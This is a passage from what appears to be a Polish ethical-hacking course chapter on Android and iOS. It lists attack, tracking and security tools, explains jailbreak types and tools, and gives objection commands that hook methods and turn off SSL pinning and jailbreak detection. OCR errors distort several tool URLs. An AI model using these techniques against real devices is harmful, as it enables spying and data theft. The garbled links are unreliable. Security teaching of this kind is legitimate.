wykorzystywania docelowych urzadzen mobilnych w celu uzyskania krytycznych informacji o
uzytkowniku, takich jak dane uwierzytelniajgce, dane osobowe i listy kontaktow.

AndroRAT

AndroRAT to narzedzie przeznaczone do zdalnego sterowania systemem Android i pobierania z niego
informacji. AndroRAT to aplikacja klient/serwer napisana w jezyku Java Android po stronie klienta i
Pythonie po stronie serwera. AndroRAT zapewnia petne, trwate backdoory do urzadzenia docelowego,
poniewaz aplikacja uruchamia sie automatycznie po uruchomieniu urzadzenia. Uzyskuje réwniez
aktualng lokalizacje, dane karty SIM, adres IP i adres MAC urzadzenia.

Fing - narzedzia sieciowe

Fing to zestaw narzedzi sieciowych, ktére stuzg do identyfikacji wszystkich urzadzen podtgczonych do
dowolnej sieci, uzyskiwania adresu IP, adresu MAC, nazwy urzadzenia, modelu i producenta
dowolnego podtgczonego urzgdzenia, pobierania zaawansowanych informacji, takich jak NetBIOS,
UPnP, Bonjour nazwy, wtasciwosci i typy urzadzen.

Oto niektére dodatkowe narzedzia hakerskie na Androida:
Arpspoof (https://github.com)

Network Discovery(https://github.com)

NEXSPY (https://nexspy.com)

IntentFuzzer (https://github.com)

Social-Engineer Toolkit (SET) ( https://github.com )
Zabezpieczanie urzadzen z systemem Android

Ponizej podano niektdre srodki zaradcze, ktére mogg pomdc w ochronie urzgdzenia z Androidem i
przechowywanych na nim danych przed ztosliwymi uzytkownikami:

Wiacz blokade ekranu na swoim telefonie z Androidem

Nigdy nie rootuj swojego urzgdzenia z Androidem

Pobieraj aplikacje tylko z oficjalnych rynkéw Androida

Aktualizuj swoje urzadzenie za pomocg oprogramowania antywirusowego Google Android
Nie pobieraj plikdw APK bezposrednio

Regularnie aktualizuj system operacyjny

Korzystaj z bezptatnych aplikacji ochronnych na Androida, w ktérych mozesz przypisywaé hasta do
wiadomosci tekstowych, kont pocztowych i tak dalej

Dostosuj zablokowany ekran gtéwny za pomoca informacji o uzytkowniku
Wiacz szyfrowanie na swoim urzgdzeniu z Androidem, aby zwiekszy¢ jego bezpieczenstwo

Zablokuj aplikacje, ktdre przechowujg prywatne informacje, aby uniemozliwi¢ innym przegladanie ich,
korzystajgc z aplikacji takich jak AppLock



Przed zainstalowaniem aplikacji z Google Play zapoznaj sie z wymaganymi uprawnieniami i upewnij sie,
ze ma to sens i odpowiada rzeczywistemu dziataniu aplikacji, a takze przejrzyj komentarze i oceny tej
aplikacji

Utworz wiele kont, jesli chcesz dzieli¢ sie swoim tabletem z Androidem z innymi, aby chronic
prywatnosc kazdego uzytkownika

Wtacz GPS na swoim urzadzeniu z Androidem, aby méc je $ledzi¢ w przypadku zgubienia lub kradziezy

Uzywaj aplikacji innych firm, takich jak Lookout Mobile Security, 3CX Mobile Device Manager lub
SeekDroid, aby zdalnie usuwaé poufne dane na urzgdzeniu z Androidem, gdy zostanie ono zgubione
lub skradzione

Wytacz nastepujgce funkcje:
o ,Widoczne hasta” — zapobiega wyswietlaniu haset na ekranie

o0 ,,Uzyj bezpiecznych poswiadczen” — uniemozliwia aplikacjom dostep do bezpiecznych certyfikatéw
i poswiadczen

o ,Wi-Fi” — aby upewnic sie, ze przypadkowo nie potfaczysz sie z siecig bezprzewodowg, gdy nie chcesz
Odinstaluj aplikacje naruszajgce Twojg prywatnos¢

Zaszyfruj caty ruch internetowy za posrednictwem ustug VPN, takich jak ExpressVPN i VyprVPN dla
Androida.

Blokuj wszystkie reklamy wyswietlane przez aplikacje

Witacz weryfikacje dwuetapowa na urzadzeniu mobilnym z systemem Android

Wytacz funkcje, takie jak SmartLock zamiast haset i funkcje automatycznego logowania.
Zainstaluj aplikacje do zarzgdzania hastami, takie jak LastPass, aby bezpiecznie zarzgdza¢ hastami
WHtacz opcje przypinania ekranu, aby bezpiecznie uzyskiwac dostep do aplikacji na Androida

Przed zakupem upewnij sie, ze dostawca smartfona wydaje poprawki zabezpieczern Androida na dtugi
czas.

Twoérz kopie zapasowe poufnych informacji, takich jak kontakty i dokumenty w chmurze, aby zapewni¢
szybkie odzyskanie danych w przypadku jakiegokolwiek incydentu zwigzanego z bezpieczenstwem.

Ogranicz potgczenia sprzetowe, aby przesytac pliki do niebezpiecznych urzadzen lub komputeréw.
Nie ujawniaj zbyt wielu danych osobowych podczas rejestracji w aplikacji lub jakiejkolwiek ustudze.

Upewnij sie, ze Google Play Protect jest zawsze aktywny, aby wykrywac podejrzane zachowanie
aplikacji.

Narzedzia bezpieczenstwa Androida
Kaspersky Mobile Antivirus

Kaspersky Mobile Antivirus to aplikacja zabezpieczajgca dla systemu Android, ktéra koncentruje sie na
ochronie przed kradziezg i wirusami urzgdzen mobilnych i tabletéw. Zostat zaprojektowany, aby poméc
uzytkownikom znalezé swoje urzadzenie, jesli zostanie zgubione lub skradzione. Chroni réwniez
urzadzenie przed wirusami lub atakami ztosliwego oprogramowania. Zapewnia takie funkcje, jak



ochrona antywirusowa, sprawdzanie w tle, blokada aplikacji, ochrona przed kradziezg i ochrona przed
phishingiem.

Oto niektére dodatkowe narzedzia zabezpieczajgce Androida:
Zabezpieczenia antywirusowe Avira (https://www.oviro.com)

Avast Mobile Security (https://www.ovost.com)

McAfee Mobile Security (https://www.mcofeemobilesecurity.com)
Lookout Bezpieczenstwo i antywirus (https://my.lookout.com)

Sophos Intercept X dla urzadzen mobilnych (https://www.sophos.com)
Narzedzia do sledzenia urzagdzen z Androidem

Narzedzia do $ledzenia urzadzen z systemem Android pomagajg Sledzi¢ i znajdowac lokalizacje
urzadzenia z systemem Android w przypadku jego zgubienia, kradziezy lub zagubienia. Atakujacy
uzywajg tych narzedzi do sledzenia lokalizacji docelowych urzadzen mobilnych.

Ponizej wymieniono niektére powszechnie uzywane narzedzia do $ledzenia urzadzen z systemem
Android:

Google Find My Device

Google Find My Device pomaga tatwo zlokalizowa¢ zgubione urzadzenie z Androidem i zapewnia
bezpieczenstwo Twoich informacji w miedzyczasie. Pozwala takie na usuniecie informacji ze
zgubionego lub skradzionego urzgdzenia. Jesli uzytkownicy majg zainstalowang aplikacje Google Apps
Device Policy na obstugiwanym urzadzeniu przenosnym (w tym z systemem Android) z programem
Google Sync, mogg zdalnie znalez¢, zablokowad lub wymazac utracone urzadzenie z systemem Android
za pomocg panelu sterowania Google Apps. Mozna wybraé te ustuge, gdy urzagdzenie zostanie zgubione
lub skradzione, aby usunag¢ wszystkie dane z urzadzenia i przywrdcié ustawienia fabryczne. Wszystkie
dane sg usuwane z urzadzenia (i karty SD, jesli dotyczy), w tym wiadomosci e-mail, kalendarz, kontakty,
zdjecia, muzyka i pliki osobiste uzytkownika. Aby korzystac¢ z funkcji Znajdz moje urzadzenie, zgubione
urzadzenie musi

o Badz wiaczony

o By¢ zalogowanym na konto Google

o Miec potaczenie z komérkowa transmisjg danych lub Wi-Fi
0 Badz widoczny w Google Play

o Miej wtgczong lokalizacje

o Wtaczona funkcja ZnajdZz moje urzadzenie

Aby znalezé, zablokowa¢ lub wymazaé zgubione lub skradzione urzadzenie, wykonaj ponizsze
czynnosci:

o Przejdz do https://www.google.com/android/find i zaloguj sie na swoje konto Google,
o Jesli masz wiecej niz jedno urzadzenie, kliknij utracone urzadzenie u géry ekranu,

o Urzadzenie otrzyma powiadomienie,



o Na mapie zobacz, gdzie znajduje sie urzadzenie.
o Lokalizacja jest przyblizona i moze nie by¢ doktadna.

o Jesli nie mozna znalezé urzadzenia, zostanie wyswietlona jego ostatnia znana lokalizacja, jesli jest
dostepna.

o Wybierz, co chcesz robi¢. W razie potrzeby najpierw kliknij opcje Wtacz blokade i wymazywanie.

0 Odtwoérz dzwiek: dzwoni urzadzenie z petng gtosnoscig przez 5 minut, nawet jesli jest wyciszone lub
wibruje.

0 Zabezpiecz urzadzenie: blokuje urzadzenie kodem PIN, wzorem lub hastem. Jesli nie masz blokady,
mozesz jg zatozy¢. Aby umozliwi¢ komus zwrécenie Ci urzagdzenia, mozesz doda¢ wiadomos¢ lub numer
telefonu do ekranu blokady.

o Wymaz urzadzenie: trwale usuwa wszystkie dane z urzadzenia (ale moze nie usuwac kart SD).
Nastepnie Find My Device nie bedzie dziata¢ na urzadzeniu.

Znajdz maj telefon

Find My Phone to aplikacja do odzyskiwania urzadzen z systemem Android chronigca przed kradzieza,
ktéra pomaga znalez¢ zgubiony, skradziony lub zgubiony telefon komadrkowy lub tablet.

Gdzie jest maj droid

Where's My Droid to narzedzie do $ledzenia urzadzen z systemem Android, ktére umozliwia sledzenie
telefonu z dowolnego miejsca, za pomocg wiadomosci tekstowe] lub za posrednictwem centrum
kontroli online znanego jako Commander.

Oto niektére dodatkowe narzedzia do sledzenia urzagdzen z systemem Android:
Prey Anti-Theft: Find My Android i Mobile Security (https://preyproject.com)
iHound (https://www.ihound.com.au)

Mobile Tracker dla Androida (https://play.google.com)

Android Lost (https://www.androidlost.com)

Phone Tracker By Number (https://play.google.com)

Skanery luk w zabezpieczeniach Androida

Quixxi App Shield

Quixxi App Shield moze by¢ uzywany przez przedsiebiorstwa i twdrcow aplikacji mobilnych do
zabezpieczania ich aplikacji mobilnych przed piractwem, utratg dochoddw, kradziezg wtasnosci
intelektualnej (IP), utratg danych uzytkownika, hakowaniem i crackowaniem. Quixxi App Shield
zapewnia, ze aplikacja jest w petni chroniona dzieki wielowarstwowemu silnikowi szyfrujgcemu, ktéry
zapobiega inzynierii wstecznej aplikacji i manipulacjom.

Oto niektére dodatkowe skanery luk w zabezpieczeniach systemu Android:
Vulners Scanner (https://play.google.com)

Shellshock Scanner - Zimperium (https://play.google.com)



Yaazhini (https://www.vegabird.com)
Quick Android Review Kit (QARK) ( https://github.com)
Internetowe analizatory Androida

Internetowe analizatory Androida umozliwiajg skanowanie plikdow APK i przeprowadzanie analiz
bezpieczenstwa w celu wykrycia luk w zabezpieczeniach aplikacji.

Analizator APK Sixo Online

Sixo Online APK Analyzer pozwala analizowaé rdéine szczegdéty dotyczace plikéw APK. Moze
dekompilowa¢ binarne pliki XML i zasoby.

Niektére dodatkowe analizatory Androida online sg nastepujace:
DeGuard (http://opk-deguord.com)

SandDroid (http://sonddroid.xjtu.edu.cn)

Apkt001 (http://www.jovodecompilers.com)

APK Analyzer Online (https://opk.toolsploy.com)

Android Apk decompiler (http://www.jovodecompilers.com)
Hakowanie systemu iOS

iOS to mobilny system operacyjny opracowany przez firme Apple. Firma Apple nie udziela licencji na
system iOS do instalacji na sprzecie firm innych niz Apple. Firma rozszerzyta swdj asortyment o telefony
komodrkowe, tablety, i innych urzadzen mobilnych. Szybki wzrost wykorzystania urzgdzen Apple
przyciggnat uwage atakujgcych. Wady projektowe systemu iOS sprawiajg, ze jest on podatny na
ztosliwe aplikacje, ukryte profile sieciowe, ataki MITM itp. Atakujgcy mogg zhakowad system iOS, aby
uzyskaé¢ dostep do urzadzen Apple na poziomie administratora. Ta sekcja zawiera nastepujgce
informacje: Apple iOS; jailbreak iOS; rodzaje, narzedzia i techniki jailbreakingu; wytyczne dotyczace
zabezpieczania urzadzen z systemem iOS; oraz narzedzia do $ledzenia urzadzen z systemem iOS.

Apple iOS

iOS to mobilny system operacyjny Apple, ktdry obstuguje urzadzenia Apple, takie jak iPhone, iPod
touch, iPad i Apple TV. iOS zarzadza sprzetem urzadzenia i oferuje rézne technologie wymagane do
implementacji natywnych aplikacji. Na najwyzszym poziomie iOS dziata jako posrednik miedzy
aplikacjami a bazowym sprzetem. Aplikacje komunikujg sie z bazowym sprzetem za posrednictwem
zestawu dobrze zdefiniowanych interfejsow systemowych. Ul opiera sie na koncepcji bezposredniej
manipulacji za pomoca gestéw wielodotykowych. Architektura iOS sktada sie z pieciu warstw: aplikacji
Cocoa, mediéw, podstawowych ustug, podstawowego systemu operacyjnego i jadra oraz sterownikdéw
urzadzen. Warstwy nizszego poziomu zawierajg podstawowe ustugi i technologie, podczas gdy
warstwy wyzszego poziomu opierajg sie na nizszych warstwach, aby zapewnic bardziej wyrafinowane
ustugi i technologie.

Cocoa Application: ta warstwa zawiera kluczowe frameworki, ktére pomagajg w tworzeniu aplikacji na
i0S. Ramy te definiujg wyglad aplikacji, oferujg podstawowsq infrastrukture aplikacji i obstuguja
kluczowe technologie, takie jak wielozadaniowos$é, wprowadzanie dotykowe, powiadomienia push i
wiele ustug systemowych wysokiego poziomu. Aplikacje Cocoa korzystajg z platformy AppKit.



Media: ta warstwa zawiera technologie graficzne, audio i wideo, ktére umozliwiajg korzystanie z
multimediéw w aplikacjach.

Podstawowe ustugi: ta warstwa zawiera podstawowe ustugi systemowe dla aplikacji. Kluczowymi
ustugami sg platformy Core Foundation i Foundation (okre$l podstawowe typy uzywane przez
wszystkie aplikacje). Do tej warstwy nalezg poszczegdlne technologie obstugujace takie funkcje, jak
media spotecznosciowe, iCloud, lokalizacja i sieci.

Podstawowy system operacyjny: ta warstwa zawiera funkcje niskiego poziomu, na ktérych opiera sie
wiekszos¢ innych technologii. Ramy w tej warstwie sg przydatne, gdy zajmujemy sie bezposrednio
bezpieczernstwem lub komunikujemy sie z zewnetrznym sprzetem i sieciami. Ustugi Swiadczone przez
te warstwe sg zalezne od warstwy jadra i sterownikow urzadzen.

tamanie iOS

Jailbreaking definiuje sie jako proces instalowania zmodyfikowanego zestawu poprawek jgdra, ktére
umozliwiajg uzytkownikom uruchamianie aplikacji innych firm, ktére nie zostaty podpisane przez
dostawce systemu operacyjnego. Jest to proces omijania ograniczen uzytkownika natozonych przez
Apple, takich jak modyfikowanie systemu operacyjnego, uzyskiwanie uprawniern administratora i
instalowanie nieoficjalnie zatwierdzonych aplikacji poprzez ,tadowanie boczne”. Mozesz wykonac
jailbreak, po prostu modyfikujgc jadra systemu iOS. Jednym z powodéw jailbreakowania urzadzen iOS,
takich jak iPhone, iPad i iPod Touch, jest rozszerzenie zestawu funkcji ograniczonych przez Apple i jego
App Store. Jailbreak zapewnia dostep administratora do systemu operacyjnego i umozliwia pobieranie
aplikacji, motywdw i rozszerzen innych firm, ktére sg niedostepne w oficjalnym sklepie Apple App
Store. Jailbreak usuwa réwniez ograniczenia piaskownicy, umozliwiajgc ztosliwym aplikacjom dostep
do ograniczonych zasobéw mobilnych i informacji. Mozna uzy¢ narzedzi takich jak Hexxa Plus, Apricot,
checkraln, Yuxigon, Sileo itd., aby jailbreakowac urzadzenia iOS. Jailbreaking, podobnie jak rootowanie,
wigze sie z wieloma zagrozeniami bezpieczeAstwa i innymi zagrozeniami dla twojego urzadzenia, w
tym

Uniewaznienie gwarancji telefonu

Kiepska wydajnosc

Infekcja ztosliwym oprogramowaniem
,Zamurowanie” urzadzenia

Rodzaje jailbreakéow

Ponizej omoéwiono trzy rodzaje jailbreakingu:
Exploit w przestrzeni uzytkownika

Userland Exploit wykorzystuje luke w aplikacji systemowej. Umozliwia dostep na poziomie
uzytkownika, ale nie pozwala na dostep na poziomie iboot. Nie mozna zabezpieczy¢ urzadzen iOS przed
tym exploitem, poniewaz nic nie moze spowodowac petli trybu odzyskiwania. Tylko aktualizacje
oprogramowania uktadowego mogg zatatac takie luki.

Exploit iBoot

Ten rodzaj exploita moze by¢ czeSciowo uwieziony, jesli urzgdzenie ma nowy bootrom. Iboot jailbreak
umozliwia dostep na poziomie uzytkownika i dostep na poziomie iboot. Exploit ten wykorzystuje luke



w iBoot (trzeci program tadujacy iDevice) w celu odtgczenia urzgdzenia podpisujgcego kod. Aktualizacje
oprogramowania uktadowego mogg zatatac takie exploity.

Exploit Bootroma

Bootrom Exploit wykorzystuje luke w SecureROM (pierwszy bootloader iDevice), aby wytgczyc
sprawdzanie podpiséw, ktére mozna wykorzystaé do zatadowania oprogramowania uktadowego NOR.
Aktualizacje oprogramowania uktadowego nie moga zatatac¢ takich exploitéw. Bootrom jailbreak
umozliwia dostep na poziomie uzytkownika i dostep na poziomie iboot. Tylko sprzetowa aktualizacja
bootromu przez Apple moze zatataé ten exploit.

Techniki Jailbreak
Nieskrepowane Jailbreak

W przypadku uwolnienia jailbreaka, jesli uzytkownik wytgczy i ponownie wtgczy urzgdzenie, urzadzenie
uruchomi sie catkowicie, a jadro zostanie zatatane bez pomocy komputera; innymi stowy, urzadzenie
zostanie ztamane po jailbreaku po kazdym ponownym uruchomieniu.

Czesciowo uwiezione Jailbreak

W czesciowo uwiezionym jailbreaku, jesli uzytkownik wytgczy i ponownie wigczy urzadzenie,
urzadzenie uruchomi sie catkowicie. Nie bedzie juz mie¢ poprawionego jadra, ale nadal bedzie nadawac
sie do normalnych funkcji. Aby korzysta¢ z dodatkédw po jailbreaku, uzytkownik musi uruchomic
urzadzenie za pomocg narzedzia do jailbreakowania.

Jailbreak na uwiezi

W przypadku jailbreaka na uwiezi, jesli urzadzenie uruchomi sie samoczynnie, nie bedzie juz miato
zatatanego jgdra i moze utkng¢ w stanie czeSciowo uruchomionym; aby catkowicie go uruchomic i z
zatatanym jadrem, zasadniczo musi zostac¢ ,ponownie ztamany” za pomocg komputera (przy uzyciu
funkcji ,,boot tethered” narzedzia do tamania wiezienia) za kazdym razem, gdy jest wtgczony.

Czesciowo nieuwigzane Jailbreaking

Czesciowo uwolniony jailbreak jest podobny do czesciowo uwiezionego jailbreaku. W tego typu
jailbreaku, gdy urzadzenie uruchamia sie ponownie, jadro nie jest tatane. Jednak jadro mozna zatataé
bez uzycia komputera; jest tatany za pomocg aplikacji zainstalowanej na urzadzeniu.

Jailbreak iOS za pomocg Hexxa Plus

Hexxa Plus to ekstraktor repozytorium jailbreak dla najnowszego systemu iOS, ktéry pozwala
uzytkownikowi instalowa¢ motywy, poprawki i aplikacje. To oprogramowanie jest najpopularniejszg
metodg instalowania aplikacji jailbreak bez swobodnego lub czesciowo swobodnego jailbreakowania.
Uzytkownik moze zainstalowac¢ najnowsze aplikacje jailbreak na iOS, rozpakowujgc repozytoria.
Istnieje wiele repozytoridw jailbreak w Hexxa Plus z tysigcami ulepszen jailbreak, motywdw, gier i tak
dalej. Hexxa Plus pozwala uzytkownikowi instalowac popularne aplikacje Jailbreak do najnowszych
wers;ji i0OS za pomocg metody ekstrakcji kodu programisty. Uzytkownik musi zainstalowa¢ menedzera
aplikacji innej firmy, takiego jak zlailbreak Pro, aby mdc bezptatnie zainstalowac Hexxa Plus.

Kroki, aby zainstalowac¢ Hexxa Plus

Krok 1 — Pobierz aplikacje zJailbreak Pro. Podaj hasto urzadzenia dla tego kroku.



Krok 2 — Otwodrz aplikacje zlailbreak Pro. Przejdz do aplikacji Hexxa Plus dostepnej w sekgcji
Najpopularniejsze, klikajac ja.

Krok 3 — Kliknij przycisk Pobierz dla Hexxa Plus. Profil Hexxa Plus zostanie pobrany do ustawien
urzadzenia z systemem iOS 15.4.

Krok 4 — Przejdz do Ustawien, a nastepnie kliknij Pobieranie profilu.

e Krok 5 — Wprowadz hasto urzadzenia, aby zakonczy¢ proces instalacji Hexxa Plus.

Krok 6 — Po zakonczeniu procesu instalacji ikona Hexxa Plus pojawi sie na ekranie gtéwnym.
Krok 7 — otwérz aplikacje Hexxa Plus i wybierz Get Repos.

Krok 8 — Wybierz repozytorium jailbreakera i skopiuj jego adres URL z podanych kategorii.
Krok 9 — Przejdz do opcji Wypakuj repozytorium. Nastepnie wklej skopiowany adres URL.
Rysunek 17.55: Wklejanie adresu URL repozytorium

Krok 10 — Wyodrebnij repozytorium, wybierajagc przycisk OK. Stuknij przycisk Instaluj, aby
zainstalowac wybrany jailbreaker.

Krok 11 — Wreszcie ikona wybranej aplikacji jailbreaker pojawia sie na ekranie gtéwnym.
Narzedzia do Jailbreaking

Apricot jailbreak to najnowsza metoda na uzyskanie wirtualnego jailbreaka w najnowszych wersjach
iOS na modelach iPhone'a. Funkcje Apricot zapewniajg realistyczne wrazenia na iPhonie z najnowszg
wersjg iOS.

Oto niektére dodatkowe narzedzia do jailbreakowania systemu iOS:
checkraln ( https://checkro.in)

Yuxigon (https://yuxigon.com)

Sileo (https://cydio-opp.com)

Fugul4 (https://pongu8.com)

Bregxi (https://pongu8.com)

Hakowanie urzadzen iOS

Atakujgcy wykorzystujg rézne metody, aby wykorzysta¢ luki w zabezpieczeniach systemu iOS.
Wykorzystuja narzedzia tancucha exploitdw, ktére atakujg réine luki w zabezpieczeniach, aby
penetrowad rézne warstwy ochrony cyfrowej iOS. Instalujg réwniez ztosliwe oprogramowanie, takie
jak oprogramowanie szpiegujgce i trojany, w celu hakowania urzadzen z systemem iOS.

Hakowanie za pomocg Spyzie

Atakujacy uzywajg rézinych narzedzi internetowych, takich jak Spyzie, aby zhakowaé docelowe
urzadzenia mobilne z systemem iOS. Spyzie umozliwia atakujgcym hakowanie SMS-6w, dziennikéw
pofaczen, czatéw aplikacji, GPS itp. To narzedzie jest kompatybilne ze wszystkimi typami urzadzen z
systemem iOS, takimi jak iPhone, iPad i iPod. Atakujgcy hakujg urzadzenie docelowe zdalnie w trybie
niewidocznym bez jailbreakowania urzadzenia.



Hackowanie sieci za pomocg Network Analyzer Pro

Network Analyzer Pro to narzedzie do wykrywania urzadzen Wi-Fi, ktére wykrywa wszystkie adresy i
nazwy urzadzen LAN1 wraz ze $wiadczonymi przez nie ustugami Bonjour/DLNA. Obejmuje
standardowe narzedzia diagnostyczne, takie jak ping, traceroute, skaner portédw, wyszukiwanie DNS i
whois. Network Analyzer Pro umozliwia atakujgcym zbieranie informacji, takich jak urzadzenia
podtgczone do sieci, ich adresy IP, NetBIOS, mDNS (Bonjour), LLMNR i nazwa DNS. Pomaga réwniez w
skanowaniu najczesciej uzywanych portéw lub zakreséw portédw okreslonych przez uzytkownika oraz
w wykrywaniu portéw zamknietych, zaporowych i otwartych.

Zaufanie do iOS

iOS Trustjacking to luka w zabezpieczeniach, ktérg atakujacy moze wykorzysta¢ do odczytywania
wiadomosci i e-maili oraz przechwytywania poufnych informacji, takich jak hasta i dane
uwierzytelniajgce do konta bankowego, ze zdalnej lokalizacji bez wiedzy ofiary. Luka ta wykorzystuje
funkcje ,,iTunes Wi-Fi Sync”, dzieki ktérej ofiara tagczy swoj telefon z dowolnym zaufanym komputerem
(moze to by¢ znajomy lub dowolny zaufany podmiot), ktdry jest juz zainfekowany przez atakujgcego.
Gdy urzadzenie iOS prébuje potgczy¢ sie z komputerem, urzadzenie wyswietla na ekranie okno
dialogowe z opcjami ,Zaufaj” i ,Nie ufaj”. Po kliknieciu Zaufaj ustanawia pofaczenie miedzy
urzadzeniami w celu udostepniania informacji. Po nawigzaniu potgczenia i wtaczeniu synchronizacji
iTunes Wi-Fi na komputerze urzgdzenie moze kontynuowac komunikacje z tym komputerem nawet po
fizycznym roztaczeniu. Gdy ofiara kliknie ,Zaufaj”, atakujgcy uzyskuje dostep do podtgczonego
urzadzenia z systemem iOS za posrednictwem zainfekowanego komputera, co trwa do momentu
zresetowania ustawien pofaczenia przez telefon. Operacje na danych i ekranie zaatakowanego
urzadzenia mogg by¢ pdzniej monitorowane z pulpitu bez wiedzy uzytkownika. Zainfekowany system
moze pozwoli¢ atakujgcemu na odczytanie aktywnosci uzytkownika nawet po tym, jak urzadzenie
znajdzie sie poza strefg komunikacji. Moze rowniez umozliwi¢ atakujgcemu wykonanie kopii zapasowe;j
lub przywrécenie danych w celu odczytania historii SMS-6w, usunietych zdje¢ i aplikacji. Atakujgcy
moze réwniez zastgpi¢ oryginalne aplikacje urzadzenia ztosliwymi aplikacjami z wczesnigj
podtgczonego komputera.

Analizowanie i manipulowanie aplikacjami iOS

Atakujgcy przeprowadzajg analize statyczng docelowej aplikacji iOS w celu wykrycia luk w
zabezpieczeniach, takich jak zakodowane na state poufne dane, btedy aplikacji i backdoory istniejace
w kodzie. Atakujacy przeprowadzajg dynamiczng analize, aby zidentyfikowac btedy, zachowanie i stan
pamieci, rejestry i zmienne w czasie wykonywania. Po przeanalizowaniu aplikacji osoby atakujace
mogg zidentyfikowac powierzchnie ataku, za pomocg ktérej mogg przeprowadzi¢ ataki na docelowe
urzadzenia z systemem iOS.

Manipulowanie aplikacja iOS za pomocg cycript

cycript to narzedzie do manipulacji w czasie wykonywania uzywane przez atakujgcych do
wykorzystywania luk w kodzie Zzrédtowym i modyfikowania funkcjonalnosci podczas dziatania aplikaciji,
cycript to interpreter JavaScript (JS), ktory moze zrozumiec polecenia Objective-C, Objective-C++ i JS.
Posiada interaktywng konsole z podswietlaniem sktadni i funkcjami zaktadek wspomaganymi
gramatyka. Po zdekompilowaniu aplikacji iOS i przeanalizowaniu kodu zrédtowego osoby atakujace
moga uzy¢ tego narzedzia do manipulowania funkcjonalnoscig aplikacji i wykonywania réznych
czynnosci, takich jak zmiana metody, obejscie uwierzytelniania i obejscie wykrywania jailbreak.

Swizzling metody iOS



Method swizzling, znany réwniez jako monkey patching, to technika polegajgca na modyfikowaniu
istniejagcych metod lub dodawaniu nowych funkcjonalnosci w czasie wykonywania. Srodowisko
uruchomieniowe Objective-C umozliwia przetaczanie funkcjonalnosci metody z istniejgcej na
niestandardowa. Atakujgcy wykorzystujg te technike do rejestrowania, wstrzykiwania JS w WebView,
obejscia wykrywania, obejscia uwierzytelnienia itp. Atakujgcy uzywaja technik zmiany metody, aby
oceni¢ stan bezpieczenstwa i zidentyfikowac luki w zabezpieczeniach docelowej aplikacji. Ponizej
wymieniono podstawowe kroki, ktére nalezy wykonaé, aby pomysinie zamienié funkcje:

Zidentyfikuj istniejgce odwotanie do selektora metody, ktére ma zosta¢ zamienione.
Stwérz nowag metode z dostosowanymi funkcjonalnosciami.
Uruchom aplikacje na urzadzeniu.

Zamien funkcjonalno$¢ metody, udostepniajgc nowe odwotanie do metody w Srodowisku
uruchomieniowym Objective-C.

Wyodrebnianie tajemnic za pomoca narzedzia Keychain Dumper

Urzadzenia z systemem iOS zawierajg zaszyfrowany system pamieci zwany pekiem kluczy, ktéry
przechowuje tajne informacje, takie jak hasta, certyfikaty i klucze szyfrujgce. Atakujgcy uzywajg
narzedzi, takich jak Keychain Dumper, aby wyodrebni¢ peki kluczy z docelowego urzadzenia z
systemem i0S. Atakujgcy uzywajg pliku binarnego Keychain Dumper, ktory ma samopodpisany
certyfikat z uprawnieniem do symboli wieloznacznych, aby zrzucié¢ tajne peki kluczy z docelowej
aplikacji na iOS. Poniewaz uprawnienia wieloznaczne nie sy dozwolone w ostatnich wersjach systemu
i0S, konieczne jest dodanie wyraznego uprawnienia, ktére istnieje w urzadzeniu, aby uzyskac¢ dostep
do wszystkich elementéw peku kluczy.

Analiza aplikacji na iOS przy uzyciu sprzeciwu

Atakujgcy uzywajg narzedzia sprzeciwu do przechwytywania metod w aplikacji iOS w czasie
wykonywania. Jest rowniez potgczona z innymi funkcjami, takimi jak fatanie aplikacji i0S, obejscie
przypinania SSL, zrzucanie peku kluczy iOS i monitorowanie obszaru roboczego. Atakujacy podtaczajg
urzadzenie z systemem iOS do swojej stacji roboczej i instalujg narzedzie sprzeciwu, ktére zawiera
funkcje Frida.

Zahaczanie metody
Po zainstalowaniu narzedzia sprzeciwu wykonaj ponizsze czynnosci, aby wykona¢ zaczepienie metody.

o Wykonaj nastepujace polecenie, aby uruchomi¢ narzedzie sprzeciwu, dotgczajac je do aplikacji
docelowej:

objection --gadget <AppName> explore

o Uruchom nastepujgcg komende, aby monitorowaé wywotania metod klasy:
ios hooking watch class <Class_Name>

o Uruchom nastepujgce polecenie, aby podtgczy¢ okreslong metode do klasy:
ios hooking watch method "-[Class_Name Method_Name]"

o Uruchom nastepujacg komende, aby zmienié¢ wartos¢ zwracang przez funkcje, ktéra zwraca tylko
wartosci logiczne metody podpiete;j:



ios hooking set return value "-[Class Name iFunction_Name:]" true/false

Omijanie przypinania SSL

o ios sslpinning disable

Powyzsze polecenie wytgcza funkcje przypinania SSL w przechwyconej aplikacji.
Omijanie wykrywania Jailbreak

o ios jailbreak disable

Powyzsze polecenie wytgcza funkcje wykrywania jailbreak w przechwyconej aplikacji.
Ztosliwe oprogramowanie iOS

NoReeboot

Trojan NoReboot umozliwia atakujgcym szpiegowanie urzadzenia ofiary poprzez wykorzystanie
wbudowanego mikrofonu i kamery urzadzenia. NoReboot moze sfatszowa¢ ponowne uruchomienie
urzadzenia i dziata¢ w tle bez zadnych przerw podczas operacji szpiegowskiej. Zawiera najlepsze
techniki utrzymywania ztosliwego oprogramowania, ktdére polegajg na zatrzymaniu recznego
wytaczania urzadzenia i oszukaniu ofiary, aby uwierzyta, ze urzagdzenie zostato pomysinie wytgczone.
Trojan NoReboot modyfikuje trzy funkcje demona, ktére dziatajg w tle podczas wytaczania urzadzenia:
InCallService, SpringBoard i Backboardd.

Pegasus

Pegasus to oprogramowanie szpiegujace opracowane przez izraelskg firme, ktéra dostarcza
oprogramowanie szpiegowskie miedzynarodowym agencjom rzadowym w celu szpiegowania
wewnetrznych i zewnetrznych przeciwnikow politycznych. Infekuje iPhone'y i inne urzagdzenia Apple,
wykorzystujgc luke w zabezpieczeniach, takg jak exploit typu zero-click. Agencje rzagdowe uzywaja tego
oprogramowania szpiegujgcego do monitorowania dziatan terrorystycznych i szpiegowania
aktywistow lub propagandy politycznej. Po zainstalowaniu oprogramowania szpiegujgcego Pegasus na
urzadzeniach z systemem iOS moze ono nagrywac¢ rozmowy i wiadomosci oraz wigcza¢ domysine
urzadzenia peryferyjne, takie jak kamera i mikrofon.

Oto niektére dodatkowe ztosliwe oprogramowanie dla systemu iOS:
XcodeSpy

XCSSET

KeyRaider

Prynt Stealer

Ztosliwe oprogramowanie Clicker Trojan

Narzedzia hakerskie na iOS

Ponizej omowiono rézne narzedzia wykorzystywane przez osoby atakujgce do hakowania docelowych
urzadzen mobilnych z systemem iOS:

Elcomsoft Phone Breaker



Elcomsoft Phone Breaker umozliwia atakujgcym logiczne i bezprzewodowe przejecie urzadzen iOS,
wiamywanie sie do zaszyfrowanych kopii zapasowych oraz uzyskiwanie i analizowanie kopii
